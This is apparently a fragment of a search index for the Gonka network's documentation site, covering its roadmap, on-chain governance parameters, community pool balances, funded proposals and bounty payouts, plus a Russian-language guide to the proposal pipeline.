"}, {"location": "community/roadmap/#track-8-enterprise-and-privacy-sensitive-workloads", "title": "Track 8. Enterprise and privacy-sensitive workloads", "text": "Gonka should support scenarios where a user or application does not want to reveal input data to the host.
"}, {"location": "community/roadmap/#project-1-tee-backed-private-inference", "title": "Project 1. TEE-backed private inference", "text": "Private inference through a TEE-capable MLNode, where user input is decrypted only inside a protected execution environment.
The project should validate the architecture and threat model for TEE-backed inference.
Metrics:
What this gives the network:
Gonka gets a verifiable path for private inference: a user can send a sensitive payload so that an ordinary host does not have access to the source data.
"}, {"location": "community/roadmap/#project-2-private-inference-access-layer", "title": "Project 2. Private inference access layer", "text": "An access layer and first pilot scenarios for private inference on top of TEE-capable nodes.
Initial pilot scenarios:
Metrics:
What this gives the network:
Enterprise users get a practical path to start using Gonka for privacy-sensitive workloads.
"}, {"location": "community/roadmap/#track-9-model-training-on-a-distributed-gpu-network", "title": "Track 9. Model training on a distributed GPU network", "text": "Gonka should develop training as a separate class of workloads on top of shard infrastructure.
"}, {"location": "community/roadmap/#project-1-training-shard-primitives", "title": "Project 1. Training shard primitives", "text": "Basic infrastructure for a training shard: open shard, settle shard, node allocation, training containers, API containers, all-reduce, checkpointing, recovery, artifact exchange / storage, and monitoring.
Metrics:
What this gives the network:
Gonka gets the basic infrastructure needed to test training workloads on distributed GPU capacity. This becomes the foundation for further training experiments.
"}, {"location": "community/roadmap/#project-2-decentralized-training-and-ai-safety-research", "title": "Project 2. Decentralized training and AI safety research", "text": "A long-term research track for decentralized training methods and safety-oriented training experiments on distributed network capacity.
The scope includes low-communication distributed training, DiLoCo-like approaches, experiments with new architectures, geo-distributed training, Byzantine robustness, fraud tolerance, and validation methods for training progress.
Metrics:
What this gives the network:
Gonka gets a research path for training beyond conventional tightly coupled GPU clusters. The network can test whether decentralized training methods can work under real-world constraints: limited communication, uneven hardware, participant churn, adversarial behavior, and trustless coordination.
"}, {"location": "community/roadmap/#track-10-market-model", "title": "Track 10. Market model", "text": "Once inference demand and GPU utilization reach a healthy baseline, the network needs market-based mechanisms for reward distribution and token pricing to align miner incentives with real usage.
"}, {"location": "community/roadmap/#project-1-market-based-reward-distribution", "title": "Project 1. Market-based reward distribution", "text": "Once the inference access bottleneck is fixed and GPUs are loaded with useful work at 40%+, introduce a market mechanism into reward distribution. On an empty network a market mechanism is too vulnerable to manipulation, so reward distribution by PoC weight is used until utilization thresholds are met; this project defines the trigger conditions, the transition path, and the runtime market logic that replaces pure PoC-weight allocation.
Metrics:
What this gives the network:
The network gets a reward mechanism that follows real demand instead of static weights, so emissions flow toward useful work rather than idle capacity.
"}, {"location": "community/roadmap/#project-2-demand-based-per-model-token-pricing", "title": "Project 2. Demand-based per-model token pricing", "text": "Token price should differ per model and be determined by demand. For example, if 99.99% of demand is for Kimi while H-100 servers running Qwen sit idle, the price of Kimi tokens should rise and find balance, while the price of Qwen stays at 1 ngonka. This project defines the per-model pricing curve, the demand signals it reacts to, the price floor, and the update cadence.
Metrics:
What this gives the network:
The network gets per-model pricing that reflects actual demand, which clears congestion on hot models and keeps cold models accessible at the floor price.
"}, {"location": "community/roadmap/#project-3-reward-distribution-proportional-to-work-cons-earnings", "title": "Project 3. Reward distribution proportional to work-cons earnings", "text": "Per-epoch reward distribution should be proportional to earnings in work-cons, so miners have a direct incentive to run the models that are actually in demand. This project defines how per-epoch rewards are computed from work-cons earnings, how the proportion is enforced, and how it interacts with PoC-weight distribution during the transition.
Metrics:
What this gives the network:
The network gets miner incentives aligned with real demand, so capacity moves toward the models users actually want instead of being spread evenly across idle ones.
"}, {"location": "community/roadmap/#track-11-marketing-demand-activation-and-ecosystem-growth", "title": "Track 11. Marketing, demand activation, and ecosystem growth", "text": "Gonka requires a structured growth track to convert technical progress into demand and market confidence. Scaling beyond ad hoc, creator-led efforts, the network must establish repeatable marketing functions—including publications in credible platforms, podcasts, events, and creator programs—working with agencies and ambassadors to drive adoption.
The objective is measurable growth in developer activation, host confidence, and usage, proving Gonka is viable AI compute infrastructure.
Marketing experiments should begin with small budgets across multiple directions conducted by various Gonka supporters. The most successful initiatives should then receive increased budgets and be scaled into repeatable acquisition funnels.
"}, {"location": "community/roadmap/#project-1-target-audience-research", "title": "Project 1. Target audience research", "text": "Quantitative and qualitative research:
Identify primary segments, outreach channels, and requirements for Gonka development.
The scope should include outreach to target audience leveraging our network, relevant communities, media and AI influencers; open questions, 1-1 custdevs, identifying users who are actively interested in Gonka and involving them in experiments with Gonka, communicating its actual state and various abilities to participate.
Metrics:
What this gives the network:
Gonka gets a clearer understanding of who its real target users are, what they need, what prevents them from using the network, and which channels can reach them. This helps the roadmap focus on real demand, improves onboarding and communication, and creates the first validated public cases that can support further growth.
"}, {"location": "community/roadmap/#project-2-demand-activation-and-developer-usage", "title": "Project 2. Demand activation and developer usage", "text": "Programs for bringing real inference consumers to Gonka: developers, AI-agent builders, startups, AI application teams, API resellers, RAG platforms, coding tools, and other products that need external model access through an API.
The scope should include direct outreach to teams and relevant communities, paid acquisition tests, integrations with popular developer tools, hackathons, demo applications, technical tutorials, partner channels, developer credits, and usage-based grants. Credits and grants should be tied to measurable network usage: applications, adapters, benchmarks, public demos, integrations, and other work that creates real inference demand.
Metrics:
What this gives the network:
Gonka gets a direct path from developer acquisition to real compute demand. Grants, credits, hackathons, and integrations become tools for creating measurable inference usage, not only community activity.
"}, {"location": "community/roadmap/#project-3-host-growth-and-usable-compute-capacity", "title": "Project 3. Host growth and usable compute capacity", "text": "Programs for attracting compute supply from large GPU operators, AI clouds, data centers, mining companies, regional compute providers, idle GPU owners, university and research clusters, and partners working on ASICs or specialized accelerators.
The scope should include direct negotiations, host partnerships, infrastructure marketing, onboarding support, and targeted outreach to teams that already operate inference workloads. A separate focus should be placed on emerging markets and technology-sovereignty programs where Gonka can help local compute infrastructure monetize capacity and connect to the global AI compute market.
Metrics:
What this gives the network:
Gonka gets more usable capacity for supported models, not just more connected hardware. The network becomes more attractive to developers because it can serve real workloads, and more attractive to hosts because there is a clearer path from compute contribution to monetization.
"}, {"location": "community/roadmap/#project-4-project-visibility-through-publications-on-credible-platforms", "title": "Project 4. Project visibility through publications on credible platforms", "text": "The scope should include placements in tier-1 media, specialized infrastructure outlets, and analyst or research coverage.
Alongside earned media, this project should cover contributed articles and op-eds from Gonka contributors and partners, founder and engineer interviews in written and audio formats, case studies based on real network usage, and research notes or whitepapers that can be cited by third parties.
Metrics:
What this gives the network:
Publications on credible platforms make it easier to discuss Gonka on Reddit and other target forums with an established trust base. They also improve Gonka’s visibility and discoverability on Google, AI search systems, and across target audiences such as hosts, developers, partners, and infrastructure-focused communities.
"}, {"location": "community/roadmap/#project-5-ecosystem-narrative-distribution-and-public-trust", "title": "Project 5. Ecosystem narrative, distribution, and public trust", "text": "A coordinated external distribution function for making Gonka understandable, visible, and credible across the AI infrastructure, DeAI, developer, host, investor, and institutional markets.
The scope should include media, podcasts, conference stages, public discussions, creator and ambassador programs, technical authors, analyst relations, institutional relationships.
This project should also build relationships with research organizations, developer communities, universities, AI labs, IT clusters, and institutions that can bring usage, compute supply, credibility, market visibility, or access to new regions.
Metrics:
What this gives the network:
Gonka gets a consistent external presence and a stronger market narrative. Public information stays accurate, scam risk and misinterpretation decrease, and external audiences clearly understand why Gonka matters and how it differs from competing infrastructure. This establishes a durable trust layer that lowers the cost of every other marketing activity.
Community discussions, ambassador outreach, partner negotiations, and sales conversations all become significantly easier when credible third-party coverage already exists and can be cited.
"}, {"location": "community/roadmap/#track-12-community-development-and-internal-coordination", "title": "Track 12. Community development and internal coordination", "text": "This track focuses on improving coordination inside the existing community, strengthening contributor interaction, understanding ecosystem participant needs, and supporting the long-term health of the Gonka ecosystem as the network grows.
"}, {"location": "community/roadmap/#project-1-community-research-and-contributor-insights", "title": "Project 1. Community research and contributor insights", "text": "Research focused on understanding the needs, participation patterns, communication challenges, and long-term retention of ecosystem participants, including hosts, developers, ecosystem contributors, researchers, investors, and ecosystem supporters.
The scope should include contributor engagement and ecosystem participation, retention and disengagement factors, onboarding friction, communication bottlenecks and coordination issues, regional and language distribution, and factors that encourage long-term ecosystem participation and advocacy.
Metrics:
What this gives the network:
The network gains a clearer understanding of what keeps ecosystem participants engaged long-term, what creates friction, and where coordination, communication, or ecosystem support should be improved.
"}, {"location": "community/roadmap/#project-2-internal-communication-and-coordination-channels", "title": "Project 2. Internal communication and coordination channels", "text": "This project focuses on improving ecosystem communication, coordination, and community-driven platforms to help participants exchange information, coordinate initiatives, and reduce communication fragmentation.
The scope may include support of existing ecosystem communication channels, knowledge-sharing formats across contributor groups, and contributor-driven media and communication formats such as blogs, podcasts, and ecosystem discussions.
Metrics:
What this gives the network:
Contributors and ecosystem participants get clearer ways to exchange ideas, coordinate initiatives, discuss important ecosystem topics, and collaborate without relying only on fragmented chat discussions.
"}, {"location": "community/roadmap/#rules-for-external-teams-and-funded-work", "title": "Rules for external teams and funded work", "text": "Open source by default.
Unless there is a strong reason otherwise, the work should live in a public repo and be maintainable by the community.
Support period is part of the scope.
A project is not considered done at the first release. Stabilization, support, and updates after the initial release are required.
Handoff package is required.
The team must describe how another team can maintain or extend the result.
Protocol-facing changes require review by Protocol Maintainers.
Anything that touches PoC, validation, rewards, penalties, fees, mainnet behavior, supported models, settlement, bridge-facing flows, or delegated wallets must go through review / testing.
Closed operational dependencies should not be the default.
Critical network infrastructure should not depend by default on a closed SaaS controlled exclusively by a single external team.
"}, {"location": "proposals/", "title": "On-Chain Governance", "text": "The Gonka network uses on-chain governance for protocol upgrades, parameter changes, model registrations, and community pool spending.
Current active proposals: see the On-Chain Governance dashboard.
Metric Value Chain Gonka Mainnet RPChttps://rpc.gonka.gg Min Deposit (standard) 500 GNK Min Deposit (expedited) 1,000 GNK Voting Period (standard) 48 hours Voting Period (expedited) 12 hours Quorum 25% Threshold (pass) 50% Veto Threshold 33.4% For off-chain community signalling, see Pre-Proposals.
Data synced hourly from rpc.gonka.gg.
"}, {"location": "proposals/community%20pool/", "title": "Community Pool", "text": "The Gonka network maintains three key addresses that collectively manage community funds. This page documents their current balances, how funds flow between them, and every passed governance proposal that has received funding.
Last updated: 2026-07-26 08:23 UTC
"}, {"location": "proposals/community%20pool/#community-pool-distribution-module", "title": "Community Pool (distribution module)", "text": "Address: gonka1jv65s3grqf6v6jl3dp4t6c9t9rk99cd8h2rzwa
Current balance: 102,705,110 GNK · $10,000 USDT
The Community Pool is the protocol-controlled treasury of the Gonka network. It accrues value through a 2% community tax applied to every inflation reward and network fee. These funds can only be spent through a successful governance vote — no single key controls them.
Since the network genesis, the Community Pool has received continuous inflows from transaction fees and inflation rewards, funding ecosystem development, marketing initiatives, and community programmes through passed governance proposals.
The $10,000 USDT held here was returned from proposal #42 — the planned Global Compute Sovereignty Summit was cancelled, and the proposer returned the allocated funds. See the return instructions for details.
Inflow rate: ~13,150 GNK/day (varies with block time, fee volume, and staking ratio).
Verify on-chaincurl -s https://node3.gonka.ai/chain-api/cosmos/distribution/v1beta1/community_pool\nAddress: gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2
Current balance: 17,500,000 GNK (~$10,500,000 USDT) · $764,075 USDT
This address was created by proposal #14 (passed 2025-11-27), which transferred 20,000,000 GNK from the Community Pool to seed a community sale programme at a fixed price of $0.60 per GNK.
The mechanism works as a simple swap: participants deposit USDT and receive GNK at the predetermined rate. The address holds both assets — USDT collected from buyers and the remaining GNK inventory.
For security, sale proceeds are distributed in tranches rather than all at once. The contract releases batches of GNK gradually to mitigate risk and ensure safe execution.
The USDT held here is used to pay bug bounties and development rewards — distributed automatically through the chain's upgrade handler during network hard forks, without requiring individual governance votes. Each upgrade version embeds a distributeBountyRewards() call that withdraws USDT directly from this contract to recipient addresses.
Important: The GNK held here is not part of the Community Pool. It is the undistributed balance of the sale contract — already allocated in proposal #14 and awaiting exchange. Only the USDT received from buyers is new value entering the Gonka ecosystem.
Verify on-chaincurl -s https://node3.gonka.ai/chain-api/cosmos/bank/v1beta1/balances/gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\nAddress: gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33
Current balance: 2,563,650 GNK
The Gov Module authority is the only address permitted to execute MsgCommunityPoolSpend transfers from the Community Pool. When a governance proposal passes, this address signs and sends the requested funds to the specified recipient.
It also holds unallocated GNK set aside for governance-approved programmes that use batch-vesting or multi-send distributions.
Verify on-chaincurl -s https://node3.gonka.ai/chain-api/cosmos/bank/v1beta1/balances/gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\nMsgCommunityPoolSpend (GNK/USDT from the Community Pool) or batch-vesting transfers (GNK from the Gov Module).ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4 and transferred via MsgExecuteContract (withdraw_ibc).Key constraint: No single key controls these funds — every spend requires a passed governance vote.
"}, {"location": "proposals/community%20pool/#historical-funding", "title": "Historical Funding", "text": "All passed governance proposals that received funding from the Community Pool or Gov Module, sorted by descending proposal number.
Proposal Date Description Source Amount GNK Amount USDT #82 2026-07-10 External Test Lab x Community DevNet Community Pool 80,000 $88,000 #77 2026-06-26 Gonka PR Proposal for US/Global Regions Community Pool — $75,000 #76 2026-06-17 Governance 16: devshard v2 and bounty payouts Community Pool — $93,600 #74 2026-06-12 Gonka Labs: Maintaining Infrastructure, Improving Products,… Community Pool + Gov Module 330,000 $70,000 #68 2026-06-07 Big YouTube Deep-Dive on Falcon Finance (Alexander Sokolovs… Community Pool — $70,000 #67 2026-06-05 Kimi Restitution (epochs 265-276) Gov Module 946,509 — #65 2026-06-04 TheSoul - Offer 2.3: Digital strategy (100,000 GNK) Community Pool 100,000 — #64 2026-06-04 TheSoul - Offer 2.2: Analytics and attribution (28,000 GNK) Community Pool 28,000 — #63 2026-06-04 TheSoul - Offer 2.1: Website and landings (10,000 USDT) Community Pool — $10,000 #62 2026-06-04 TheSoul - Offer 1.3: Influencer pilot (50,000 USDT) Community Pool — $50,000 #61 2026-06-04 TheSoul - Offer 1.2: Brandbook (20,000 USDT) Community Pool — $20,000 #60 2026-06-04 TheSoul - Offer 1.1: Brand positioning (25,000 USDT) Community Pool — $25,000 #55 2026-05-23 GRC Proposal #2 - Restitution (epochs 248-254) Community Pool + Gov Module 346,029 — #51 2026-05-15 Support Gonka's presence at WebX Asia Community Pool — $75,000 #50 2026-05-09 Retroactive bounty: open-source PoC throughput optimization… Community Pool 20,000 — #49 2026-05-07 Gonka Media Dominance in TechL/AI with 5 AI Influencers Community Pool — $45,000 #46 2026-05-04 Epochs 132-247 compensation payout from gov module (batch v… Gov Module 3,053,800 — #42 2026-04-19 Support Gonka at Global Compute Sovereignty Summit Community Pool — $10,000 #39 2026-04-10 Community Series Film — Why Gonka Exists Community Pool 31,250 — #33 2026-03-27 Epochs 132-133 compensation payout from gov module Community Pool + Gov Module 27,906 — #32 2026-03-24 Epoch 158 compensation payout from gov module (batch vestin… Community Pool + Gov Module 30,538 — #14 2025-11-27 Sale GNK from Community Fund Community Pool 20,000,000 — PR #919 2026-03 v0.2.11 bounty distribution Upgrade Handler (Gov Module) 150,750 — PR #1446 2026-07 v0.2.14 bounty distribution Upgrade Handler (Community Sale) — $45,250 PR #1113 2026-04 v0.2.12 bounty distribution Upgrade Handler (Community Sale) — $35,200 PR #497 2026-01 v0.2.6 bounty distribution Upgrade Handler (Gov Module) 30,000 — PR #733 2026-02 v0.2.10 bounty distribution Upgrade Handler (Gov Module) 23,000 — PR #1168 2026-05 v0.2.13 bounty distribution Upgrade Handler (Community Sale) — $18,000 Metric Value Total governance proposals 22 Total GNK approved (proposals) 24,994,032 GNK Total USDT approved (proposals) $631,600 From Community Pool 20,993,723 GNK + $631,600 From Gov Module 4,734,782 GNK Largest funding #14 — 20,000,000 GNK Most recent #82 — 80,000 GNK + $88,000 USDT Upgrade distributions 6 Total GNK distributed (upgrades) 203,750 GNK Total USDT distributed (upgrades) $98,450 From Community Sale contract $98,450 USDT From Gov Module 203,750 GNK"}, {"location": "proposals/community%20pool/#bounty-distribution", "title": "Bounty Distribution", "text": "Bounties are paid through the chain's upgrade handler — hardcoded in each network upgrade and executed automatically when validators update.
USDT bounties are paid from the Community Sale contract via withdraw_ibc. GNK bounties are distributed from the Gov Module.
gonka1ejkupq3cy6p8xd64ew2wlzveml86ckpzn9dl56 $5,000 USDT devshards v3 RM, upgrade review, HackerOne reviews @x0152 gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe $6,000 USDT RM, HackerOne reviews @qdanik gonka1j3f2xkapx8cmczpjqcsrh7cc3peyj3ngkjv4p8 $10,000 USDT RM, HackerOne reviews, MiniMax R&D, PoC (incl. GPU) @ouicate gonka1f0elpwnx7ezytdlck35003nz6qk8kzvurvnj4a $1,000 USDT PR #1253: stop stale PoC validation @ouicate gonka1f0elpwnx7ezytdlck35003nz6qk8kzvurvnj4a $1,000 USDT PR #1255: settle before releasing unbonding @ouicate gonka1f0elpwnx7ezytdlck35003nz6qk8kzvurvnj4a $1,000 USDT PR #1278: bound event-listener tx queue @0xMayoor gonka1s8szs7n43jxgz4a4xaxmzm5emh7fmjxhach7w8 $500 USDT PR #1100: prevent uint64 wrap in settle @0xMayoor gonka1s8szs7n43jxgz4a4xaxmzm5emh7fmjxhach7w8 $750 USDT PR #1101: widen ShouldValidate to uint64 @0xMayoor gonka1s8szs7n43jxgz4a4xaxmzm5emh7fmjxhach7w8 $500 USDT PR #1347: distribute unsettled escrow per slot @0xMayoor gonka1s8szs7n43jxgz4a4xaxmzm5emh7fmjxhach7w8 $2,000 USDT PR #1376: bridge block sync vulnerability @alancapex gonka10mmdjau4dnj8krs7sh7t7635ttnmq9u3vqgz09 $3,000 USDT PR #889: on-chain configurable reward recipients @Ryanchen911 gonka1zqss46r6jf6dhhyaa777kc2ppvjhn0ufkx4y57 $7,500 USDT PR #998: implementing maintenance windows @redstartechno gonka105ce4495mj0mwkxqeasgdzqfq5jjrfq32eza5l $500 USDT PR #1307: avoid query-gas-limit on grant check @Lelouch33 gonka128nd36m2pz5qcs4q6rd69622flyls05nleazqq $5,000 USDT Vulnerability report 1 @Lelouch33 gonka128nd36m2pz5qcs4q6rd69622flyls05nleazqq $1,000 USDT Vulnerability report 2 @blizko gonka12jaf7m4eysyqt32mrgarum6z96vt55tckvcleq $1,000 USDT v0.2.13 upgrade review Total $45,250 USDT"}, {"location": "proposals/community%20pool/#v0213-pr-1168-merged", "title": "v0.2.13 — PR #1168 (Merged)", "text": "Recipient Address Amount Description @blizko gonka12jaf7m4eysyqt32mrgarum6z96vt55tckvcleq $8,000 USDT Prompt of death: vLLM crash via structured outputs kaitaku.ai gonka1x45hruazmcqxslj3g8a08988hr5fr3wx33drhp $10,000 USDT Kimi experiments report Total $18,000 USDT"}, {"location": "proposals/community%20pool/#v0212-pr-1113-merged", "title": "v0.2.12 — PR #1113 (Merged)", "text": "Recipient Address Amount Description @x0152 gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe $6,000 USDT CertiK audit fixes (GEB-29, GEB-35, …) @x0152 gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe $3,000 USDT DKG dealer consensus — PR #825 @x0152 gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe $1,000 USDT Developer inference access / account API @x0152 gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe $500 USDT OpenAI compatibility and API error handling @x0152 gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe $2,500 USDT v0.2.12 release management @akup gonka1ejkupq3cy6p8xd64ew2wlzveml86ckpzn9dl56 $5,000 USDT v0.2.12 release management — gonka1yhdhp4vwsvdsplv4acksntx0zxh8saueq6lj9m $9,000 USDT Inference validation optimization — Issue #929 — gonka1vu28c7w5zxqe28lakrrfdrkvscft326rxur3dv $3,000 USDT Acquire node gRPC — PR #945 @0xMayoor gonka1s8szs7n43jxgz4a4xaxmzm5emh7fmjxhach7w8 $2,000 USDT Fund atomicity error safety — PR #789 @qdanik gonka1j3f2xkapx8cmczpjqcsrh7cc3peyj3ngkjv4p8 $1,500 USDT Align validator slashing — PR #940 — gonka1c34w3r45f0uftjckt2yy4k22vnc3zqjnp0umyz $500 USDT Free inference vulnerability report — gonka139f7x4gur2yuyty64dkqxep8jk3d7ku8ayjaqg $200 USDT Chat completions fix — Issue #499 @blizko gonka12jaf7m4eysyqt32mrgarum6z96vt55tckvcleq $1,000 USDT Review of upgrade v0.2.11 Total $35,200 USDT"}, {"location": "proposals/community%20pool/#v0211-pr-919-merged", "title": "v0.2.11 — PR #919 (Merged)", "text": "Recipient Address Amount Description @x0152 gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe 2,500 GNK Data race conditions fix review — PR #543 — gonka1yhdhp4vwsvdsplv4acksntx0zxh8saueq6lj9m 25,000 GNK PoC Integration into vLLM v0.11.1 — Issue #628 @blizko gonka12jaf7m4eysyqt32mrgarum6z96vt55tckvcleq 10,000 GNK vLLM HTTP 502 via prompt series @blizko gonka12jaf7m4eysyqt32mrgarum6z96vt55tckvcleq 1,000 GNK Dust transaction vulnerability report @ouicate gonka1f0elpwnx7ezytdlck35003nz6qk8kzvurvnj4a 5,000 GNK Remote DoS of Validator PoC @ouicate gonka1f0elpwnx7ezytdlck35003nz6qk8kzvurvnj4a 5,000 GNK State Bloat PoC / End-Block DoS @ouicate gonka1f0elpwnx7ezytdlck35003nz6qk8kzvurvnj4a 750 GNK Bridge ETH address parsing vuln @x0152 gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe 1,000 GNK Planned task — PR #775 @x0152 gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe 1,250 GNK Planned task — PR #773 @qdanik gonka1j3f2xkapx8cmczpjqcsrh7cc3peyj3ngkjv4p8 12,000 GNK vLLM 0.15.1 compatibility experiments @qdanik gonka1j3f2xkapx8cmczpjqcsrh7cc3peyj3ngkjv4p8 15,000 GNK vLLM simultaneous PoC + inference @qdanik gonka1j3f2xkapx8cmczpjqcsrh7cc3peyj3ngkjv4p8 5,000 GNK Wind down window vulnerability — PR #767 @akup gonka1ejkupq3cy6p8xd64ew2wlzveml86ckpzn9dl56 1,000 GNK Nodes unable to join from snapshots @x0152 gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe 3,000 GNK Nodes unable to join (source problem) — gonka17kmfwzthep3alxt57vqcqr48uv7swp0u63gcnj 750 GNK StartInference/FinishInference — Issue #780 @x0152 gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe 5,000 GNK StartInference/FinishInference — Issue #781 @akup gonka1ejkupq3cy6p8xd64ew2wlzveml86ckpzn9dl56 5,000 GNK StartInference/FinishInference — Issue #782 @Lelouch33 gonka128nd36m2pz5qcs4q6rd69622flyls05nleazqq 7,500 GNK Important issue + testing with fix — PR #867 kaitaku.ai gonka1x45hruazmcqxslj3g8a08988hr5fr3wx33drhp 22,500 GNK vLLM 0.15.1 compatibility — Issue #730 — gonka100s7x2t0npruu9ta02306qfmaened3vg3a9dn6 5,000 GNK Batch Transfer With Vesting — PR #835 @qdanik gonka1j3f2xkapx8cmczpjqcsrh7cc3peyj3ngkjv4p8 5,000 GNK Collateral slashing vulnerability — PR #868 @akup gonka1ejkupq3cy6p8xd64ew2wlzveml86ckpzn9dl56 7,500 GNK v0.2.11 release management @x0152 gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe 7,500 GNK v0.2.11 release management @0xMayoor gonka1s8szs7n43jxgz4a4xaxmzm5emh7fmjxhach7w8 2,500 GNK v0.2.10 upgrade review @blizko gonka12jaf7m4eysyqt32mrgarum6z96vt55tckvcleq 2,500 GNK v0.2.10 upgrade review @x0152 gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe 2,500 GNK v0.2.10 upgrade review Total 150,750 GNK"}, {"location": "proposals/community%20pool/#v0210-pr-733-merged", "title": "v0.2.10 — PR #733 (Merged)", "text": "Recipient Address Amount Description @x0152 gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe 500 GNK Minor vulnerability fix — PR #661 @x0152 gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe 700 GNK Planned task — PR #644 @akup gonka1ejkupq3cy6p8xd64ew2wlzveml86ckpzn9dl56 10,000 GNK Medium risk vulnerability report + fix — PR #659 — gonka1c34w3r45f0uftjckt2yy4k22vnc3zqjnp0umyz 5,000 GNK First report of vulnerability fixed in #659 @x0152 gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe 1,000 GNK Low risk vulnerability — PR #545 — gonka1jkydytz99gkh0t42gjj4lz0mmdeumqp7mtzke3 100 GNK Minor bug fix — PR #640 — gonka123khww9elhtj49zumz0daleaudl6jn9y87tf23 500 GNK First report + suggested fix — Issue #422 — gonka1jkydytz99gkh0t42gjj4lz0mmdeumqp7mtzke3 100 GNK Minor bug fix — PR #638 — gonka1jkydytz99gkh0t42gjj4lz0mmdeumqp7mtzke3 100 GNK Minor bug fix — PR #634 @ouicate gonka1f0elpwnx7ezytdlck35003nz6qk8kzvurvnj4a 5,000 GNK Independent report on issue in PR #710 @x0152 gonka18enyz7h6hh5zjveee5wnhkhrcexamfz0zdxxqe 500 GNK Low risk vulnerability — PR #643 Total 23,000 GNK"}, {"location": "proposals/community%20pool/#v026-pr-497-merged", "title": "v0.2.6 — PR #497 (Merged)", "text": "Recipient Address Amount Description — gonka1gmuxdcxlsxn5z72elx77w9zym7yrgfxqgzg6ry 20,000 GNK Vulnerability in Confirmation PoC — PR #459 @0xMayoor gonka1s8szs7n43jxgz4a4xaxmzm5emh7fmjxhach7w8 10,000 GNK Bridge Exchange Double Vote Case Bypass Total 30,000 GNK"}, {"location": "proposals/pipeline/", "title": "Pipeline", "text": "РАЗДЕЛ В ПРОЦЕССЕ РАЗРАБОТКИ Полный цикл жизни предложения от идеи до отчётности. Каждый этап прозрачен, проверяем сообществом и задокументирован. Подготовка Ознакомиться с актуальным роадмапом Gonka, понять приоритеты сообщества и утверждённые направления развития сети — это поможет сформулировать идею, которая соответствует текущим целям экосистемы и имеет наибольшие шансы на поддержку. Изучить прошедшие пропозалы и собранные best practices, чтобы понять формат, требования и типичные ошибки. Обратите внимание на структуру: описание, бюджет, сроки, KPI и механизм отчетности — все успешные пропозалы следуют схожему шаблону. Проанализировать текущие ончейн-пропозалы и активные препропозалы, чтобы избежать дублирования и найти синергию. Возможно, ваша идея уже частично реализуется или может быть объединена с другой инициативой. Просмотреть GitHub Discussions, Issues и закрытые пропозалы — часто там уже есть частичные решения, обсуждения похожих идей или ценный фидбек от сообщества, который можно учесть заранее. Ознакомиться с рекомендациями профильных комитетов: GSC (процесс управления), GRC (реституция и компенсации), GTM (маркетинг и рост). Учёт их требований на раннем этапе ускоряет прохождение следующих стадий. Заполнить анкету в Google Forms (ссылка — в описании Telegram-канала сообщества) — это запустит формальный процесс обсуждения: будет создан препропозал на gonka.vote, а также выделен Telegram-чат для живого диалога с сообществом и комитетами. Без анкеты пропозал не попадает в официальный пайплайн. Все активные препропозалы публикуются на странице Pre-Proposals. Обсуждение Подготовить и провести презентацию пропозала и команды для сообщества — чётко обозначить цели, бюджет, сроки и ожидаемый результат. Хорошая презентация — основа доверия; примеры можно найти среди прошедших препропозалов. Вести живое обсуждение на vote-портале gonka.vote и в выделенном Telegram-чате совместно с представителями комитетов, хостами и активными участниками сообщества. Все вопросы и ответы публичны и остаются в истории для последующих пропозалов. Организовать и провести AMA-сессию (Ask Me Anything), где любой член сообщества может задать вопросы команде и получить прямые ответы. Это обязательный этап для крупных или спорных пропозалов, помогающий снять неопределённость до голосования. По итогам обсуждения профильные комитеты выносят заключение и дают рекомендации по доработке: корректировка суммы, сроков, формата подачи и других параметров пропозала. Заключения публикуются в репозитории и на gonka.vote. Голосование Комитет оказывает техническую помощь в подготовке финальной версии пропозала — помогает выверить параметры, форматирование, перевод на английский и соответствие стандартам ончейн-голосования. Цель — минимизировать ошибки, которые могут привести к отклонению или техническим проблемам при исполнении. Все необходимые документы, заключения комитетов, записи AMA-встреч и презентации публикуются в едином пространстве для ознакомления хостами перед голосованием. Хосты — ключевые стейкхолдеры — голосуют своими токенами, поэтому прозрачность на этом этапе критична. Примеры опубликованных пропозалов — в архиве. Если пропозал появился на голосовании без предварительного обсуждения (без заполнения анкеты), члены сообщества самостоятельно создают анкету retroactively. Такой пропозал может быть отклонён или отправлен на доработку, если комитеты не успевают провести полный анализ. Отчётность В случае прохождения пропозала команда совместно с комитетами составляет детальный график отчётности: дедлайны, KPI, мейлстоуны и формат предоставления результатов. График публикуется вместе с финальной версией пропозала и доступен всем участникам сети. Примеры отчётов можно найти на странице Community Pool (раздел Bounty Distribution). Комитеты регулярно контролируют сроки, оценивают качество и содержание отчётов, и при необходимости выносят резолюцию — особенно в случаях отзывных пропозалов (когда средства выделяются частями и каждая следующая транша требует подтверждения), подозрений на скам или репутационных рисков для сети. Комитет GRC отвечает за компенсационные механизмы, GSC — за соблюдение процедур."}, {"location": "proposals/preproposals/", "title": "Gonka Community Pre-Proposals", "text": "Community proposals from gonka.vote. These are off-chain indicative polls where GNK holders signal support for potential on-chain governance proposals.
